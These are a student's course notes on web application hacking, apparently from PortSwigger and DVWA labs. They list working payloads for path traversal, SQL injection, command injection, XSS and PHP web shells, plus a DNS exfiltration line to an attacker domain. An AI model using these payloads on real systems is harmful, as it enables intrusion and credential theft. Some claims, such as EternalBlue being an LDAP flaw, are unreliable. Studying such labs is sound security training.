# Web App Practical Notes

**Week 1**

* Book: <https://learning.oreilly.com/library/view/the-web-application/9781118026472/9781118175248c10.xhtml>
* Kennys youtube:
* Nslooklup can craft/send DNS request: ***nslooklup --type=CNAME shop.website.thm*** etc
  + For TXT records, --type = TXT website.thm
  + Numerical priority for MX record --type=MX website.thm
  + IP address for A record -type=A [www.website.thm](http://www.website.thm)
* URL

A diagram of a network

AI-generated content may be incorrect.

* + Scheme = what protocol to use for accessing resource (HTTP, HTTPS, FTP).
  + User = some services require authen to login, can put username-password into URL to login
  + Host = domain/IP want to access
  + Port connecting to (80 for HTTP, 443 for HTTPS but can be any between 1-65535)
  + Path = filename/location of resource
  + Query string = extra info that can be sent to path, ex/blog?id=1 tells blog path that want blog article with id of 1
  + Fragment = location reference on actual page, common on long pages and can have certain parts directly linked so viewable instantly
* HTTP status codes have 5 ranges: 100-199 = info response (tells client first part of request accepted and should send rest, no longer very common), 200-299 = success, 300-399 = redirection (send client request to another resource, can be different webpage or website), 400-499 = client errors, 500-599 = server errors
  + Most common: 200 –OK = success, 201 – Created = resource created(new user/blog post),
  + 301 – Moved Permanently = redirects to new webpage or tells search engines that page has moved and look there instead), 302 – Found = similar to 301 but temporary change and may change again,
  + 400 – Bad Request = something wrong/missing in request and sometimes used if resource expected a parameter not sent, 401 – Not Authorised = need autho commonly via username/password, 403 – Forbidden = dont have permission logged in or not, 404 – Page Not Found = page/resource doesnt exist, 405 – Method not allowed = cant send this method type so POST in place of a GET,
  + 503 – Service Unavailable = server cannot handle request as its overloaded/down for maintenance
* PHP ex/ http:/example.com/index.php?name=adam
  + Ex/ PHP for http:/example.com/index.php?name=adam

A screenshot of a computer program

AI-generated content may be incorrect.

**Week 2 - Info Disclosure**

* Look for **paras in HTTP history, try changing them** and seeing what happens - other numbers - (**negatives, fractions or massive**), letters instead etc. If get error page then may get some info such as Apache version number
* Look through code via **inspect element to see comments** with possible info
* Try doing /**robot.txt** and looking for dirs/pages/files.
  + Note: .bak files are backup java files that can be opened to find hardcoded values etc.
* If trying to access another user from 1 you can login to, probably wont be able to just change the **id=admin**. Try **TRACES** request instead with id=admin which will show **headers including any custom authentication ones** such a X-Custom-IP-Authorisation - in this case wants local connection to allow admin access.

A screenshot of a computer

AI-generated content may be incorrect.

* + Go to proxy, setting then match and replace rules. Then add Request Header with replace set to X-Custom-IP-Authorization: 127.0.0.1 - s below from screenshot

A screenshot of a computer

AI-generated content may be incorrect.

* + Then in proxy try access /admin page you get access and if look at request would see the last line has X-Custom-IP-Authorization: 127.0.0.1

A screenshot of a computer

AI-generated content may be incorrect.

* Extra info – on burp suite, can go to target > site map to see all the different pages you know of and possible requests, greyed out means not used/visited.
* **View source, inspect element and dev tools all very good**

**Week 3 – Dir Traversal / Path Traversal**

* Open image in new link, see filename parameter for image then attempt traversal via **../../etc/passwd** then look in proxy for request to see the file with usernames. à this is based off file being in /var/www, can add extra ../ to ensure works
* Can also use absolute path if ../ being filtered out so just filename**=/etc/passwd**
* If ../ being stripped can also try see if recursive via **....//** as this remove ..(../)/ leaving ../ so full sequence is **filename=....//....//....//etc/passwd**
* If URL decoding in place cannot encode ../../../etc/passwd so we double encode - CyberChef on burp Suite called decoder
  + **%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd**
  + **%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252Fpasswd**
* If filter ensures filename starts with /var/www/images/ but can just do /var/www/images/../../../../etc/passwd
* If checks file extension is .jpg then use null byte before .jpg at the end to trick it as null byte invalidates extension. So **filename=../../../etc/passwd%00.jpg**
  + *Actually may not need extension at the end, just null byte can work alone.@*
* File inclusion == similar to Path traversal.
  + Ex given is example.php?page=intro.php, Payload: **?page=/etc/passwd**
    - **Can use above to make a backdoor via:**

A green screen with black text

AI-generated content may be incorrect.

* + Can also try just adding %00 at end, Payload: **?page=/etc/passwd%00**

**Week 4 - Authentication**

* Username enumeration via different responses:
  + Navigate to login page, send request with basic login details.
  + Send to **intruder** via right click
  + Clear all variables then add only username
  + Add given username list to variable under **options**
  + Watch **length** of returns for anomalies, see al gives 3250 when rest is 3248 so likely a username
  + Using al as username run password list instead, should get a login as will have different status code – 302 for re-directing in this case
* Username enumeration via subtly different responses
  + Do same thing as before but notice all the lengths change.
  + Go to **options, grep – extract**, **then add**. Find the error message and add whole thing to see differences. Note: will need to repeat attack via clicking attack at top right then repeat

A screenshot of a computer

AI-generated content may be incorrect.

* + Then sort by **warning message and look for slight aberration**. One name comes back without a full stop and thus, is likely the username.
  + Run password brute force and find login

A screenshot of a computer

AI-generated content may be incorrect.

* 2FA simple bypass
  + Given creds wiener:peter, want to access Carlo’s account carlos:montoya
  + Sign into wiener account, then use email client to get 2fa code. Note the URL is **(hash).web-security-acadamy.net/my-account?id=wiener**
  + Instead, when reaching carlos’s 2fa page, just type in the same URL with **id=carlos**, don’t do the 2fa at all
* Password reset broken logic
  + Go through with login wiener to password reset, as have email we can access this. Given a new link, with page to reset password. Once reset we can send **that packet with those parameters to repeater** and simply **change the username** parameter to carol’s.
* Username Enumeration via response timing
  + Told IP brute force protection in place, see **X-Forwarded-For header which allow spoofing our IP**
  + See **response times change when entering valid username**, otherwise **response time depends on the password length** so keeping that the same allows easy id of correct usernames
  + Use **intruder pitchfork attack** and **add X-Forwarded-For header**, add **payload position to that header and username**. Password should be super long (100 chars)
    - Note needs to be set to pitchfork for 2 payloads to be set

A screenshot of a computer

AI-generated content may be incorrect.

* + In payloads panel -
    - **select position 1 from payload position drop down, then select Numbers type. Enter range 1-100 and set step to 1, max fractions to 0. This will increase IP by 1 every time between 1-100 without fractions**
    - **Select position 2 then add username list. Then start attack**
  + **Click columns then select response received and response completed options**, so they are now displayed in table
  + **1** **response will take significantly longer than others**, repeat to ensure not coincidence.
  + In intruder use this username with password list on password variable instead of username, again **ensure X-Forwarded-For header is there with its payload then start new attack**
  + Look for 302 status and then use username and password
* Broken brute-force protection via IP block if 3 incorrect passwords, can reset timer via logging into account before lockout:
  + Means can attempt **2 logins to other user then legitimate sign into our account then try again 2 times** etc
  + Use intruder **pitchfork** on request with invalid login **POST, payloads on username and password parameter**s. Then go Resource Pool, **add attack to resource pool with max concurrent requests set to 1** which means requests will be sent in correct order.
  + In Payloads select **position 1 and add list of payloads that alternates between your username and victim with our username 1st**. Go up to like 100 repeats
  + Edit password list used with your account’s password before each – **aligned with username in the previous list**. Then put in Payload Position 2
  + Start attack and **filter out 200 status** code then sort by username. Looking for **302 response for requests with victim** username.
* Brute-forcing a stay-logged-in cookie
  + Logging into accounts and using **stay-logged-in option may set a cookie**
  + Examine in **Inspecter and see if encoded**. **Give to Decoder and try to see what is resul**t. Could be username:passwordhash, confirm via hashing password (md5, sha1/256 etc)
  + **Send a request with that cookie to Intruder**, where cookie is auto made into variable**. Add the correct password in as a single payload**
  + Under **Payload Processing, add rules that align with what we know** so è **Hash: MD5, prefix: weiner: (KEEP THE LAST :)and encode: Base64-encode**
  + Find **a landmark that is only on the page after successful login** to use as indicator of success, **In Settings panel, add grep match rule to flag response containing, for ex, a string (“Update Email”)** then start
  + This should successfully login to your account which confirms it works. Can use on victim **via password list instead of single payload**, **changing id parameter to victim’s and update prefix rule accordingly** (**prefix:weiner**)
* Password reset poisoning via middleware
  + Try reset password button, see what happens, often a **1 time link**. Look at **POST that is given in Repeater**. Look for Headers such as **X-Forwarded -Host** being supported.
  + If have attacker server then can put this url into **X-Forwarded-Host** and edit username parameter to victim and send request. Should get a **GET /forgot-password request to exploit server** **which has victim token in query parameters.**
  + G et a valid reset link, paste into browser but change value of temp-forgot-password-token parameter to value from exploit server. Should allow setting new password for victim.
* Password brute-force via password change
  + Looking at password change functions, may see username submitted as hidden input to request. If mismatch the **new password fields with correct current password** then given error “**New passwords do not match**” but with **incorrect current password gives “Current password is incorrect”.** Means we can trial and error for passwords
  + **Send POST /change-password to Intruder** then make **username parameter to victims** and make **current-password a payload. Ensure new password parameters mismatch**. Ex/
    - **username=carlos&current-password=§incorrect-password§&new-password-1=123&new-password-2=abc**
  + In **Payloads, enter list of passwords as payload set**
  + In Settings **add grep match rule to flag responses with “New passwords do not match” as this confirms correct username**. Start Attack
* Broken brute-force protection, multiple credentials per request
  + Look at incorrect login **POST requests, can be in JSON format**. Look in **Repeater**, can replace **string value of password with array of strings** (password list). Send request, get **302 response** and then right click response and **Show Response in Browser** which should log you in as victim.

**Week 4 - SQLi**

* If just dealing with page with table using parameter from URL.
  + Payload: ***‘or 1=1-- -***
  + This is from assumption that SELECT \* FROM table WHERE name = ‘X’ so we escape normal string via first ‘ then add in our OR 1=1 and comment out rest.
  + Can also try following in passwords – if have usernames - as this assumes there is an ending tag. Payload: **'or '1'='1**
* If you use spaces (or %20) in URL String and get errors then can **try with no spaces** or **use tab (%09) instead of spaces and %29 for ‘.**
  + Payload: ***%27%09or%09%271%27=%271***
* Can also try using **comments** **instead of spaces** which is /\*\*/, if need encoded then %2f%2a%2a%2f.
  + Payload***: %27%2f%2a%2a%2f or%2f%2a%2a%2f %271%27=%271 ànote NO %27 at the end as statement will end this for us***
  + May not need to encode***, Payload: ‘/\*\*/OR/\*\*/1=’1  note the ‘ before 1***
  + Can also use ‘(%27), Payload: **%27%27or1=1%27--%27- à***relies on no space between “or” and “1=1”*
  + Payload*:* ***or%2f%2a%2a%2f1=1%27--%27 à ok this works for key reason top ex works, we are within open ‘ so will need to leave closed at end.***
* If using integers not strings then no need for **‘’ or dashes**
  + Payload:***2*** ***or 1=1 à 2 must be a valid value, not necessarily from the table just acceptable input, ex/ following works 999999999999999999999 or 1=1***
  + Can assume SQL = SELECT \* FROM table WHERE id = X
* Can add ***order by [column\_name] desc*** to the end if need to sort, ex/Payload: ***9 or 1=1 order by age desc***
  + If filter like below used to ensure first character is a number but still need filter, can use a %23 then number, Payload: **1 or 1=1 order by age desc%23** 5
    - NOTE: all spaces will auto replace with %20 same with ‘ and %27
    - Works against checking last letter too
* If look at following PHP, see that it ensures there is an integer at start which fails to protect against **OR 1=1** attacks that don’t use ‘’

A close-up of a number

AI-generated content may be incorrect.

* + Payload = ***or 1=1***
* If normal query appears to use **+** between words can do same for ‘or 1=1 -- to get all data
  + Payload = ***‘+OR+1+=+1--***
* Can use new line encoded (%0a), works when checks line for non integers.   
  Payload: **1 %0a OR 1=1**
* If using column names as parameter, for example to sort table. Then can try using ` (backticks, %60, used in MySQL to select column names).   
  Payload: ***order=id`DESC%23***
  + can also try, Payload*:* ***order=IF(0, name, age) àthis works by sorting by age via string format, since we 0 out name field.***

A screenshot of a chat

AI-generated content may be incorrect.

* To get admin user, send random username/password to see a request. Then try changing **username=administrator’** and see what happens.
  + Payload: ***administrator’***
  + If get internal server error, Try adding ‘-- at end. Payload: **administrator’--**
  + NOTE: **try in repeater and see responses**, to actually get page in browser, go to login page, **turn on interceptor and then change to above** and forward that packet on
* If use of a **‘’ gives an error page** then may be injectable. Next try **various exceptional characters** (numbers instead of letters vice versa, $/£/%/? Etc). If these get blank page then try, Payload: ***$’ OR ‘1’=’1***
* DVWA example medium, can use burp to change value sent as website requires button with no URL parameters.

A screenshot of a computer

AI-generated content may be incorrect.

* + Right click response > view in browser then paste link given

A screenshot of a computer

AI-generated content may be incorrect.

* UNION attacks: can determine columns number via turning on interceptor and filter button. Then modify parameter (category in ex below) to be ***‘+UNION+SELECT+NULL--*** to see error.



* + If not internal server error then add extra column so ***‘+UNION+SELECT+NULL, NULL*** à add Null’s until error disappears and response has additional content containing Null Values
* To find column with text: intercept on parameter used to filter, determine number of columns via Null (see above) then replace Null with value (given by lab in this ex). If error occurs, replace a different Null. So: ***'+UNION+SELECT+'abcdef',NULL,NULL--***
* To retrieve values from other tables: same as before - intercept and mod request in filter para, determine num of columns via Nulls and which have data via above. Then use: ***'+UNION+SELECT+username,+password+FROM+users--*** ànote table name must be “users” and columns have header “username” and “password”
* Examine DB via SQLi
  + Querying the database type and version on Oracle
    - Intercept and mod request in category filter
    - Determine number of columns and which have text data via previous labs. Find 2 columns with text using: ***'+UNION+SELECT+'abc','def'+FROM+dual--***
    - Use following to display DB version: ***'+UNION+SELECT+BANNER,+NULL+FROM+v$version--***
  + Querying the database type and version on MySQL and Microsoft
    - Intercept and mod request in category filter
    - Determine number of returned columns contain text data. Verify query returns 2 text columns using payload: ***'+UNION+SELECT+'abc','def'#***
    - Use following to display DB version: ***'+UNION+SELECT+@@version,+NULL#***
  + Listing the database contents on non-Oracle databases (look for USERS\_\*\*\*\*\*\*)
    - Intercept and mod request that sets category filter
    - Determine number of columns being returned and which have text data, then verify with payload: ***'+UNION+SELECT+'abc','def'--***
    - Retrieve list of tables in DB via:

***'+UNION+SELECT+table\_name,+NULL+FROM+information\_schema.tables--***

* + - Find name of table with user creds, (usually \_users or something). Then use following (replace table\_name) to get columns of that table:

***'+UNION+SELECT+column\_name,+NULL+FROM+information\_schema.columns+WHERE+table\_name='users\_abcdef'--***

* + - Use following (change table & column names) to get username & password for all users:

'***+UNION+SELECT+username\_abcdef,+password\_abcdef+FROM+users\_abcdef--***

* + listing the database contents on Oracle
    - Intercept and mod request that sets category filter
    - Determine number of columns being returned and which have text data, then verify with payload: ***'+UNION+SELECT+'abc','def'+FROM+dual--***
    - Use following to get list of tables in DB: ***'+UNION+SELECT+table\_name,NULL+FROM+all\_tables--***
    - Find table with user creds, use following to get column details:

***'+UNION+SELECT+column\_name,NULL+FROM+all\_tab\_columns+WHERE+table\_name='USERS\_ABCDEF'--***

* + - Retrieve usernames and passwords for all users via (replace table & column names:

***'+UNION+SELECT+USERNAME\_ABCDEF,+PASSWORD\_ABCDEF+FROM+USERS\_ABCDEF--***

* DVWA Union Select examples
  + Payload: ***a'UNION SELECT column\_name, NULL FROM information\_schema.columns WHERE table\_name= 'users' #***
  + Payload; ***a’ UNION SELECT user, password FROM users #***

**Week 5 - Command Injection**

* NOTE: If using netlab need to use local IP for DVWA labs as local only so 127.0.0.1
* If no filters existing, an app that pings a website may be able to perform commands with simple | if Unix or & if windows server backend
  + Payload: ***127.0.0.1 | cat /etc/passwd | whoami***
  + Payload: ***127.0.0.1;cat /etc/passwd ; whoami***
* If blacklist used, attempt above anyway as may have expected different solution
  + Other Payloads: ***127.0.0.1 && dir C:\Users\***
  + Or: ***127.0.0.1; cat /etc/passwd***
  + Or: 127.0.0.1 &;& whoami
* Can also test strength of filters via leaving out normal spaces after | or && or ; etc
  + Payload: ***127.0.0.1 | cat /etc/passwd|whoami***
* Can use %0a (newline) where filter checks for anything other than an IP
  + Payload: ***127.0.0.1%0acat /etc/passwd***
* Last resort is the following:

**

*A red sign with white text

AI-generated content may be incorrect.*

* If parameter within HTTP request (or URL but may not work there since this is a function example) then can try adding there so ***id=1|whoami***

A screenshot of a computer

AI-generated content may be incorrect.

* Blind OS command injection with time delays:
  + If can cause delays then know we can inject in situations where we cannot see the output of the injected command
  + Payload ex: ***Unix=; sleep 5 () à Windows =; timeout /t 5***
    - DVWA example Payload; ***?id=1 AND sleep3&Submit=Submit à*** *can be used in POST request or in URL depending on situation.*
  + Or if in HTML such as email field, Payload: ***x*** ***||ping +-c+10+127.0.0.1||***



* Blind OS command injection with output redirection. If we know we can write to a certain folder such as /var/www/images then can modify parameter such as email one above to give output there
  + Payload: ***||whoami>/var/www/images/output.txt||***
  + Then can view that file via selecting an image then changing filename to “output.txt”. We use /var/www/images as this is a web-accessible directory that the app can be assumed to have the ability to write to.
* Out-of-band techniques like DNS lookups (& nslookup domain.com &), [1] can also confirm injection success.
  + Trigger DNS requests to domain attacker controls, command crafted to include the output of the desired command in the subdomain of the DNS request
  + Payload: ***input & nslookup $(whoami).kgji2ohoyw.web-attacker.com &*** where input is normal input from users. This would cause DNS lookup to attacker’s domain with whoami output given as subdomain which attackers can extract.
    - Alt Payload: ***email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||***

***A screenshot of a chat

AI-generated content may be incorrect.***

* Other command injection commands:
  + ***uname -a*** = in unix this gives OS info
  + ***ver*** = in windows this gives OS vesion
  + On unix systems can use `(backtick where tilde is but not Shift) or $ followed by () or {} can be used for inline execution. Ex/ ***echo `whoami`*** puts whoami output into echo command
  + On both Windows and Unix-based systems, the characters ***& ; |*** are command separators, allowing multiple commands to be chained together
* Dvwa recommended using “bg” command to background main command

**Week 7 - XSS**

* Reflected XSS into a HTML context - Payload =***x.net/?search=<script>alert(1)</script>***
  + This is due to parameter being passed straight as html tag
  + If within JS string (with angle brackets HTML encoded – lab name) then Payload: ***‘-alert(1)-’***

A screenshot of a computer code

AI-generated content may be incorrect.

* Stored XSS into HTML context - means not into URL/Request but in some element on page such as comment box
  + Payload = ***<script>alert(“1”)</script>***
* Reflected XSS into attribute when angle brackets HTML encoded. This **doesn’t mean use < as %3C and > as %3E**. Instead, look at normal search in repeater and see where input is placed
  + In ex below, within a quoted attribute so Payload: ***“ onmouseover=”alert(1)***

A screenshot of a computer code

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

* Reflected XSS into JS string with angle brackets HTML encoded. Similar to above but see input is instead within a js string. Thus, Payload: ***‘;alert(1)// à*** where // is js comment.
  + NOTE: if copying from word doc remember ‘’ is not same as Unix version need to manually enter those
* XSS reflected:
  + If somethings strips <script> can check recursiveness
    - Payload: ***<scr<script>ipt>alert("1”)</scr</script>ipt>***
    - If fails, ensure the stripping is not just for <script> so leaves </script> alone. Payload: ***<scr<script>ipt>alert("1”)</script>***
  + Can also use <img> tags and their js tags to execute code such as onmouseover, onerror, onload, etc. Payload: ***<img src/onerror=alert(1)>***
    - Can also use <svg> tag instead of img which is for **xml** stuff.   
      Payload***: <svg onload=alert(‘1’)>***
* XSS stored
  + Basic Payload: ***<script>alert(document.domain)</script> à this can go into the body***
  + More advanced Payload: ***<img src=x onerror=alert(document.cookie) à*** no**te: before, need to change text “size” and “max length” to allow for the execution of above using simple inspect element**

A screenshot of a computer

AI-generated content may be incorrect.

* + More advanced Payload: ***<body onload=alert(1)> à* then same as above** with text “size” and “max length”
  + This is stored as effects every user that visits this page
* XSS Mock Skills:
  + With no security, Payload: **<script>alert(“MG”)</script>**
  + With basic regex filters, can test with above but if output seems to simply remove <script> tags. Payload: **<ScriPT>alert(“MG”)</SCriPt>**
  + If test above and still strips <script> tag despite case changes, try recursiveness. Payload: **<scr<scipt>ipt>alert(“MG”)</sc</script>ipt>**
  + If script itself is searched for, try <img> tag’s js options. Payload: **<img src/onerror=alert(“MG”)>**
  + If alert blacklisted but script allowed, can use prompt() instead. Payload: **<script>prompt(“MG”)</script>**
    - Test alert is problem via just giving <script></script>
* **If see text (ex/ comment) box, can start XSS via </textarea>**
* DOM XSS:
  + Low = same as others, payload: ***?default=<script>alert(“MG”)</script>***
  + Medium = <script> Filtered out and img onerror doesn’t work. Look at source code, see what tag need to close, in this case </select> then add code to execute onload. Payload: ***</select><img src/onerror=alert(“MG”)>***
    - Payload:  ***</select><body onload=alert(“MG”);>***
  + High: When believe whitelist in use, try using & which may be allowed despite this. Can then add whatever.   
    Payload: ***English&</select><div onmouseover=alert(“MG”)> XSS haha</div>***
    - *can see below works via closing <select> tag then making new div*

***A screenshot of a computer

AI-generated content may be incorrect.***

* Basic payloads – can combine ideas:
  + ***<script>alert(“MG”)</script>***
  + ***<ScriPt>alert(“MG”)</scRIpt>***
  + ***<scr<script>ipt>alert(“MG”)</scr</script>ipt>***
    - ***<scr<script>ipt>alert(“MG”)</script> à if filter only for <script>***
  + ***<img src/onerror=alert(“MG”)>***
  + ***“;alert(“MG”);//***
    - ***‘alert(1);// à no “” allowed***
  + ***<script>prompt(“MG”)</script>***
  + ***Example.php#<script>alert(“MG”)</script>***
    - *This is DOM so cant be accessed until hit control f5, just f5. Neither worked for us?*
    - *Or because modern browsers are protect from this?*
  + *If in a formà* ***onmouseover=”alert(“MG”)***
  + *URL version of form:* ***example.php/”><script>alert(“MG”)</script> <!--***
    - *Can also do above without <!-- at the end, but both work via being injected into <form> tag action variable as seen below*

*A computer code with text

AI-generated content may be incorrect.*

**Week 8 – Access Control**

* First simply check if **/robots.txt** available to find hidden pages. This obfuscation/stealth may be only security done.
* If not robots.txt, simply view source of page, or maybe specifically at login requests, and look for anything discussing admin pages. May find hard coded URL even if random characters used in link

A screenshot of a computer program

AI-generated content may be incorrect.

* If user role controlled via request para, may be able to forge cookie.
  + If request to /admin page gives:



* + Then can use burp proxy’s match & replace as below

A screenshot of a computer

AI-generated content may be incorrect.

* If have an email update or something that interacts with user account details, look at request. If see something like roleid then maybe possible to change.

A screenshot of a computer code

AI-generated content may be incorrect.

* + In repeater, try changing roleid sequentially, so 2 in above ex. IF get something like missing required parameter then maybe try adding email or whatever the function is supposed to be changing

A screen shot of a computer

AI-generated content may be incorrect.

* + - NOTE: JSON so need commas at end of lines, {} used and : separate paras to values
* Horizontal privilege escalation:
  + If user id controlled via request parameter, then may be able to simply change url. Ex/ **my-account?id=wiener goes to my-account?id=carlos**
  + If using unpredictable id values instead of usernames then can try find leakages of these values. Ex/ **comments, messages, reviews etc.** 
    - Blog post ex below shows URL leaks authors ID

A screenshot of a video game controller

AI-generated content may be incorrect.

* + If we attempt access and given a redirect, the response may have sensitive info on targeted account.
    - Ex below provides output to users page even though we are redirected. We can use this to see API key or other info that would be on the page.

A screenshot of a computer program

AI-generated content may be incorrect.

* Horizontal to vertical privilege escalation
  + If url change allows us to change **?id=administrator** then this becomes a vertical privilege escalation since we gain access to account with powers
    - If then see password change that has old password as the dots then its possibly there but hidden. If so, can find via burp suite locking out real administrator

A login screen with a green and white box

AI-generated content may be incorrect.

A screenshot of a computer program

AI-generated content may be incorrect.

* Insecure direct object references (IDOR) -occur when user-supplied input are used to access objects directly and attackers can modify input to obtain unauthorized access
  + Chat logs ex/ stored on server file system and retrieved via static URLs. IF we send messages and download transcript, txt file given goes 2.txt, 3.txt etc. If look at get request can change to 1.txt which was never given and see what other users were discussing

A screenshot of a computer code

AI-generated content may be incorrect.

A screenshot of a computer

AI-generated content may be incorrect.

* URL-based access control can be circumvented via additional headers. Ex/ if response to blocked page is plain, it may be from front-end system, adding **X-Original-URL: /invalid** to GET request to “/” may give “not found” response which shows back-end processes URL from this header.
  + Can then change **X-Original-URL: /admin** to try obtain access. If successful, can even likely use match & replace proxy tool to obtain browser access, or can make GET request include **?username=carlos** and make **X-Original-URL: /admin/delete**
* Method-based access controls can be circumvented
  + Requires admin access, promote a user and look at that request in repeater. Sign-in to non-admin user in incognito and then attempt to re-promote same user as this non-admin user via copying their session cookie into current repeater request.
  + If Unauthorised, change method from POST to POSTX and observe response changes, if it goes to “missing parameters” then convert to GET method (right click > change request method). Then change username parameter to your username and resend
* Multi-step process with no access control on 1 step
  + 1st gain entry to admin panel, can promote user and send confirmation request to Repeater. Open incognito tab and login as non-admin and **copy session cookie into Repeater, change username and send it.**
* Referer-based access controls are seen in HTTP header
  + 1st gain entry to admin panel, can promote user and send confirmation request to Repeater. Open incognito tab and login as non-admin then go to “/admin-roles?username=carlose&action=upgrade” which will be unauthorised since it lacks Referer request.
  + **Instead copy session cookie into Repeater request and change username then send**

**Week 9 – File Upload Vulnerabilities**

* Remote code execution via web shell upload
  + If allowed to upload any form of file with 0 restrictions, try **php** script:

A screen shot of a computer

AI-generated content may be incorrect.

* + Then navigate to wherever being held and should execute upon loading.
  + More versatile webshell script = **<?php echo system($\_GET[‘command’]); ?>**
    - Requires command sent via query para, ex/   
      **GET /example/exploit.php?command=id HTTP/1.1**
* Web shell upload via Content-Type restriction bypass
  + If function **prevents unexpected file types**, generally error message inform users of **accepted types**. In **POST request**, if see a **Content-Type value** can edit this.

A computer screen shot of a computer code

AI-generated content may be incorrect.

* + Simpler **go from application/x-php to image/jpeg.**

A screenshot of a computer

AI-generated content may be incorrect.

* + Same as previous ex, navigate to file location
* Web shell upload via path traversal
  + If server **stops user-supplied files from being executed** then may be able to bypass via use of **path traversal to escape current directory** with those perms
    - Know need this if **uploaded php is allowed but opens as plain text**
  + Look at POST in burp, can **change Content-Type but still outputs as plain** **text**. So we also **change file parameter to include ..\**
  + If result shows **same location**, then may need to **URL encode (..%2F)**

A close up of a computer code

AI-generated content may be incorrect.

* + NOTE: navigation will not be same as before since cannot copy past link. In this case it used to be /files/avatar/upload.php but now its /file/upload.php.
    - When performing, need to ensure location saved to is accessible to user
* Web shell upload via extension blacklist bypass
  + If **file extensions appear to be blacklisted**, may be able to bypass via config flaw. Will require 2 files uploaded, 1 to exploit flaw and other the php script
  + We will use a .**htaccess file which has AddType application/x-httpd-php .kms** which maps .kms extension to .php.

A black text on a white background

AI-generated content may be incorrect.

* + **Thus, providing a php script that has extension .kms will execute**

A computer screen shot of a code

AI-generated content may be incorrect.

* + In some older implementations, just using .php3 will work. Or can try file.php.whatever, as .whatever may be discarded and php used
* Web shell upload via obfuscated file extension
  + Other method if **whitelisted extensions instead** – ex/ only JPG or PNG. Can try **%00.jpg at end of filename**. May also **need Content-Type changed** as well

A screenshot of a computer

AI-generated content may be incorrect.

* Remote code execution via polyglot web shell upload (may need to install exiftool)
  + Using **ExifTool can create a JPG image that has PHP within metadata**, called polygot file. Will get **results within the GET request** for the file **within the Binary image data within START and END strings.**
* Web shell upload via race condition
  + Essentially goal is to **POST request a disallowed file and then send GET requests so fast the server fails to perform validation and delete file** before we get our response.
  + Can use **Turbo Intruder which is extension for Burp** to do this with a specialised python script within **week 9 lab word doc**.
  + **If window long enough, can do manually via spamming burp repeater GET requests after POSTing the file**
* In repeater can use Payload: ***127.0.0.1*|*uname+-a à*** In GET request then look at response.
  + ***uname+-a*** gives command uname -a which provides system info - Kernel name/version, Release, architecture, processor, OS, Hardware platform etc.

**Week 10 – Business Logic Vulnerabilities**

* Excessive trust in client-side controls can lead to vulners, ex/ workflow in purchasing
  + If look at cart page and see no parameters, look at POST when adding items to cart. May see a product id, price, quantity etc. Try editing price value



* Can try unconventional inputs to see how app handles them
  + High level logic vulners could be when no price within POST request but changing quantity to negatives or fractions can induce strange events.
    - -1 may give negative value to cart. If want expensive item, add that to cart then add various other items until cart total is back to positive – min $0.01

A screenshot of a price list

AI-generated content may be incorrect.

* + There may be inconsistent handling, ex. access to admin may be locked to certain users validated via email addresses used.
    - If create new account with long string (255+ chars) then @email.com may see truncation of address. Can exploit this via string that has the company email address at the last value that was truncated. So email would be [240ish chars]@company.net@real\_email.com

A screenshot of a computer

AI-generated content may be incorrect.

* + - Truncation means email treated as if being a @dontwannacry.com
* Devs may make flawed assumptions about user behaviour.
  + May cause inconsistent security controls; if validate for correct email address but allows normal users to change their email address without validating new email address then can change to a company address without access to it.

A screenshot of a computer

AI-generated content may be incorrect.

* + May be weak isolation on a dual-use endpoint, as assume privileges based on input. If POST request to reset a password or similar may see parameters such as username. This may allow the resetting of another user’s password.

A screenshot of a computer program

AI-generated content may be incorrect.

* + Different workflow validation vulnerability may be redirections after POST request to buy something.
    - Sending a GET request with ?order-confirmation=True to repeater, then add expensive item to cart then send confirmation request. Will result in order done with no money spent
  + Authen bypass via flawed state machine as assume login process sequence. Try /admin page to see if it exists. Use intercept before sending legit login request and loge for other pages like role-selector.
    - If we drop this request, we default to admin role which couldn’t be selected. Don’t refresh, go back a page which should allow admin panel access.
* Domain specific flaws – is site uses coupons then maybe able to alternate between a few to stack them.

**MISC Mock Skills - DVWA**

* command injection: if website uses function system() to run commands and takes HTTP parameter as argument for command, Payload: **?ip=127.0.0.1|cat /etc/passwd**
* Dir traversal: if lacking filter/encoding of info used as part of path by an app then may see full path in URL ( ex/ /example.php?file=image.png). This may allow simple traversal with Payload: **file=../../../etc/passwd**
* Dir traversal 2: if app requires user-suppled filename start with base folder then may be able to use Payload:**/var/www/files/../../../etc/passwd**
* File Include: come when lack of filtering used on user-controlled paras used for part of filename in call to including function (loads classes/share templates etc).
  + **Not** case of page=intro.php|cat /etc/passwd but this did show the path and method. As such we can tell what is effective, Payload: **page=/etc/passwd**
  + if page=intro then can simply add %00 at the end. Payload: ***page=/etc/passwd%00 à****works via code auto appending php extension.*
* Webshells: basic upload form without restrictions, so simple php script, payload:

A screen shot of a computer

AI-generated content may be incorrect.

* + Note: need to find where its saves, in this case /upload/images/bad.php
* Can do Remote File Inclusion via 2 functions in PHP config being set, allow\_url\_fopen and allow\_url\_include à https://www.offsec.com/metasploit-unleashed/file-inclusion-vulnerabilities/

**OTHER NOTES**

* Code injections:
  + ?name=hacker produces “Hello Hacker” on webpage. If we use Payload: ***hacker” .system(‘hostname’);//*** àgives hostname of server.
  + If got a table, Payload: ***order=id);}echo ‘INJECTED’;// àNote, may not be only output as may see error messages ex below***

A screenshot of a computer

AI-generated content may be incorrect.

* + In this example, similar to 1st where Hello Hacker is produced but link starts as: new=hacker&pattern=/lamer/&base=Hello%20lamer
    - Payload: ***new=phpinfo()&pattern=lamer/e&base=Hello%20lamer à Note the e is necessary for the function being manipulated, preg\_replace***

iA screenshot of a computer

AI-generated content may be incorrect.

* + If a assert(trim()) function used on text for Hello Hacker page, then can simply use, Payload: ***name=hacker%27%20.phpinfo().%27***
    - Works via making assert(trim(‘Hello Hacker’ .phpinfo() ‘’)); so we close our own ‘’
* LDAP = Lightweight Directory Access Protocol, industry standard protocol for accessing and managing dir info
  + Vulnerabilities include eternal blue
  + Examples; if url starts as example.php?name=hacker&password=hacker and gives output, NOT AUTHENTICATED. Simply remove parameters. Payload: ***example.php?***
  + Slightly harder à same URL states authenticated as hacker, removing all states doesn’t match password or username.Can employ regex so adm\* means starts with adm which includes admin and administrator account names. Then want a true value and null byte out password so isn’t checked.
    - Payload: ***?name=adm\*)(cn=\*))%00&password=whatever ànote has to be cn=\****
* XML = Extensible Markup Language, provides rules to define any data.
